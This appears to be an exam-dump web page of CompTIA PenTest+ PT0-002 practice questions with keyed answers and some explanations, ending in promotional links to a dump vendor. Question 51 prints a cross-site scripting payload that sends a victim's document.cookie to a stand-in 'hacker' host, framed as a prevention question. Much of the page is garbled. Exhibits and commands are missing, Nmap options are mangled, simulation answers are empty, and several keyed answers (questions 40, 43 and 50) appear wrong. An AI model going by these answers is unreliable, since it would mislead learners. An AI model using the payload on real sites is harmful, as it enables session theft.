UPDATED [Oct 19, 2025] Pass CompTIA PenTest+ Certification Exam with Latest Questions
PT0-002 Exam Practice Questions prepared by CompTIA Professionals
NEW QUESTION # 39
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap192.168.1.1-5-PA22-25,80
- B. nmap192.168.1.1-5-Ss22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-PU22-25,80
Answer: C
NEW QUESTION # 40
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.
Answer: C
NEW QUESTION # 41
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?
- A. The executive summary and information regarding the testing company
- B. Information regarding the business impact if compromised
- C. A quick description of the vulnerability and a high-level control to fix it
- D. The rules of engagement from the assessment
Answer: C
Explanation:
The systems administrator and the technical stuff would be more interested in the technical aspect of the findings
NEW QUESTION # 42
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 43
Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?
- A. Susceptibility to DDoS attacks
- B. Unsupported operating systems
- C. The existence of default passwords
- D. Inability to network
Answer: B
NEW QUESTION # 44
A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal
Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:
Which of the following would be the BEST command to use for further progress into the targeted network?
- A. nc 10.10.1.2
- B. ssh 10.10.1.2
- C. ssh 127.0.0.1 5555
- D. nc 127.0.0.1 5555
Answer: A
NEW QUESTION # 45
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.
Answer: A
NEW QUESTION # 46
Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?
- A. Revision of client scripts used to perform system updates
- B. Remedial training for the client's systems administrators
- C. Implementation of patching and change control programs
- D. Refrainment from patching systems until quality assurance approves
Answer: C
Explanation:
Explanation
The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client's systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.
NEW QUESTION # 47
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 48
During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.
Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?
- A. Break a connection between two Bluetooth devices.
- B. Transmit text messages to the device.
- C. Sniff and then crack the WPS PIN on an associated WiFi device.
- D. Dump the user address book on the device.
Answer: D
Explanation:
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.
NEW QUESTION # 49
Penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and )ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?
- A. Library
- B. Dictionary
- C. Sub application
- D. Conditional
Answer: A
Explanation:
The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example.
Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.
NEW QUESTION # 50
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- A. Edit the smb.conf file and upload it to the server
- B. Edit the discovered file with one line of code for remote callback
- C. Download .pl files and look for usernames and passwords
- D. Download the smb.conf file and look at configurations
Answer: A
NEW QUESTION # 51
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Output encoding
- B. Base64 encoding
- C. Parameterized queries
- D. Web-application firewall
- E. Session tokens
- F. Input validation
Answer: A,F
Explanation:
Explanation
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.
NEW QUESTION # 52
A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
- A. Option B
- B. Option D
- C. Option A
- D. Option C
Answer: C
Explanation:
Reference: https://research.securitum.com/http-2-protocol-it-is-faster-but-is-it-also-safer/
NEW QUESTION # 53
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:
Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
- A. NTP
- B. HTTP
- C. SMTP
- D. Telnet
- E. SNMP
- F. DNS
Answer: B,F
NEW QUESTION # 54
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?
- A. The team discovers another actor on a system on the network.
- B. The team exploits a critical server within the organization.
- C. The team loses access to the network remotely.
- D. The team exfiltrates PII or credit card data from the organization.
Answer: A
NEW QUESTION # 55
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. devices may cause physical world effects.
- D. protocols are more difficult to understand.
Answer: C
Explanation:
"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.
Reference: https://www.hindawi.com/journals/scn/2018/3794603/
NEW QUESTION # 56
A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)
- A. Shodan results
- B. DNS forward and reverse lookups
- C. Internet search engines
- D. Externally facing open ports
- E. IP addresses and subdomains
- F. Zone transfers
Answer: E,F
NEW QUESTION # 57
During a REST API security assessment, a penetration tester was able to sniff JSON content containing user credentials. The JSON structure was as follows:
<
transaction_id: "123456", content: [ {
user_id: "mrcrowley", password: ["€54321#"] b <
user_id: "ozzy",
password: ["1112228"] ) ]
Assuming that the variable json contains the parsed JSON data, which of the following Python code snippets correctly returns the password for the user ozzy?
- A. json['content']['password'][1]
- B. json['content'][1]['password'][0]
- C. json['user_id']['password'][0][1]
- D. json['content'][0]['password'][1]
Answer: B
Explanation:
To correctly return the password for the user "ozzy" from the given JSON structure, the Python code snippet should navigate the nested structure appropriately. The "content" array contains objects with "user_id" and "password" fields. The correct password for "ozzy" can be accessed using the code json['content'][1]['password'][0], which navigates to the second object in the "content" array (index 1) and then accesses the first element (index 0) of the "password" array for that user.
Reference:
Python JSON Handling
Python JSON Path Navigation
NEW QUESTION # 58
You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation
Graphical user interface Description automatically generated
NEW QUESTION # 59
A penetration tester ran the following commands on a Windows server:
Which of the following should the tester do AFTER delivering the final report?
- A. Remove the tester-created credentials.
- B. Close the reverse shell connection.
- C. Downgrade the svsaccount permissions.
- D. Delete the scheduled batch job.
Answer: A
NEW QUESTION # 60
A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.
Which of the following remediation techniques would be the BEST to recommend? (Choose two.)
- A. Users' input validation
- B. Randomizing users' credentials
- C. Parameterized queries
- D. Output encoding
- E. Encryption users' passwords
- F. Closing open services
Answer: A,C
NEW QUESTION # 61
......
CompTIA PenTest+ certification is pertinent to the cybersecurity industry that recognizes the significance of identifying vulnerabilities and protecting the network infrastructures against them. The PT0-002 exam has been designed to test the learners' abilities to thrive in modern-day cybersecurity environments, assisting them in recognizing risks, minimizing attacks, and responding to system breaches. PT0-002 exam highlights several fields of knowledge, including vulnerability assessment, penetration testing tools, exploitation techniques, and report writing.
PT0-002 Exam Practice Materials Collection: https://www.lead1pass.com/CompTIA/PT0-002-practice-exam-dumps.html
Use Valid New PT0-002 Questions - Top choice Help You Gain Success: https://drive.google.com/open?id=1qepFvapgZQfjTs88qLD7_94wB0tDujSG